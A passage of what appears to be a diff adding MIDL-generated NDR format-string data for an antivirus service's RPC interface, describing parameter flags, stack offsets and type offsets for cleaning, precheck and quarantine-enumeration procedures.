0x4, /* 4 */ +/* 1392 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1394 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1396 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1400 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1402 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1404 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1406 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1408 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1412 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1414 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1416 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1418 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1420 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1422 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1424 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc25_ServerMpRpcCleanThreatsNotification */ + +/* 1426 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1428 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1432 */ NdrFcShort( 0x19 ), /* 25 */ +/* 1434 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1436 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1438 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1440 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1442 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1444 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1446 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 1448 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 1450 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1452 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1456 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1458 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1460 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1462 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1464 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1466 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1468 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 1470 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1474 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1476 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1478 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc26_ServerMpRpcPrecheckStart */ + +/* 1482 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1484 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1488 */ NdrFcShort( 0x1a ), /* 26 */ +/* 1490 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1492 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1494 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1496 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1498 */ NdrFcShort( 0x2c ), /* 44 */ +/* 1500 */ NdrFcShort( 0x68 ), /* 104 */ +/* 1502 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 1504 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1506 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1508 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1510 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1512 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1514 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1516 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1518 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1520 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1522 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1524 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1526 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 1528 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1530 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 1532 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1534 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1536 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1538 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1540 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1542 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc27_ServerMpRpcPrecheckNotification */ + +/* 1544 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1546 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1550 */ NdrFcShort( 0x1b ), /* 27 */ +/* 1552 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1554 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1556 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1558 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1560 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1562 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1564 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 1566 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 1568 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1570 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1572 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1574 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1576 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1578 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1580 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1582 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1584 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1586 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 1588 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1590 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1592 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1594 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1596 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1598 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc28_ServerMpRpcCleanQuery */ + +/* 1600 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1602 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1606 */ NdrFcShort( 0x1c ), /* 28 */ +/* 1608 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1610 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1612 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1614 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1616 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1618 */ NdrFcShort( 0x68 ), /* 104 */ +/* 1620 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 1622 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1630 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1632 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1634 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1636 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1638 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 1640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1642 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 1644 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1646 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1648 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1650 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1652 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1654 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc29_ServerMpRpcCleanClose */ + +/* 1656 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1658 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1662 */ NdrFcShort( 0x1d ), /* 29 */ +/* 1664 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1666 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 1668 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1670 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1672 */ NdrFcShort( 0x38 ), /* 56 */ +/* 1674 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1676 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 1678 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1680 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1682 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1686 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1688 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 1690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1692 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 1694 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1696 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1698 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1700 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1702 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1704 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc30_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1706 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1708 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1712 */ NdrFcShort( 0x1e ), /* 30 */ +/* 1714 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1716 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1718 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1720 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1722 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1724 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 1726 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1728 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1730 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1732 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1734 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1736 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1738 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1740 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1742 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1744 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1746 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 1748 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1750 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1752 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1754 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1756 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1758 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1760 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1762 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1764 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc31_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1766 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1768 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1772 */ NdrFcShort( 0x1f ), /* 31 */ +/* 1774 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 1776 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1778 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1780 */ NdrFcShort( 0x20 ), /* 32 */ +/* 1782 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1784 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 1786 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1788 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1790 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1792 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1794 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1796 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1798 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1800 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1802 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1804 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1806 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 1808 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1810 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1812 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1814 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1816 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1818 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 1820 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1822 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1824 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1826 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1828 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1830 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc32_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1832 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1834 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1838 */ NdrFcShort( 0x20 ), /* 32 */ +/* 1840 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 1842 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1844 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1846 */ NdrFcShort( 0x28 ), /* 40 */ +/* 1848 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1850 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 1852 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1854 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1856 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1858 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1860 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1862 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1864 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1866 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1868 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1870 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1872 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 1874 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1876 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1878 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1880 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1882 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 1886 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1888 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1890 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1892 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1894 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1896 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 1898 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1900 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1904 */ NdrFcShort( 0x21 ), /* 33 */ +/* 1906 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1908 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1910 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1912 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1914 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1916 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 1918 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1920 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1922 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1924 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1926 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1928 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1930 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1932 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1934 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 1936 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1938 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 1940 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1942 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1944 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1946 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1948 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1950 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1952 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1954 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1956 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc34_ServerMpQuarantineEnumOpen */ + +/* 1958 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 1960 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1964 */ NdrFcShort( 0x22 ), /* 34 */ +/* 1966 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1968 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1970 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1972 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 1974 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1976 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1978 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1980 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1982 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1984 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1986 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1988 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1990 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 1992 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1994 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 1996 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1998 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2000 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2002 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2004 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2006 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc35_ServerMpQuarantineEnumerate */ + +/* 2008 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2010 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2014 */ NdrFcShort( 0x23 ), /* 35 */ +/* 2016 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2018 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 2020 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2022 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2024 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2026 */ NdrFcShort( 0x68 ), /* 104 */ +/* 2028 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2030 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2032 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2034 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2036 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2038 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 2040 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 2042 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2044 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 2046 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 2048 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2050 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2052 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2054 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2056 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2058 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2060 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2062 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc36_ServerMpQuarantineEnumClose */ + +/* 2064 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2066 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2070 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2072 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2074 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 2076 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2078 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 2080 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2082 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2084 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 2086 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2088 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2094 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2096 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 2098 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2100 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 2102 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2104 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2106 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2108 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2110 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2112 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc37_ServerMpQuarantineQueryInfo */ + +/* 2114 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2116 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2120 */ NdrFcShort( 0x25 ), /* 37 */ +/* 2122 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2124 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2126 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2128 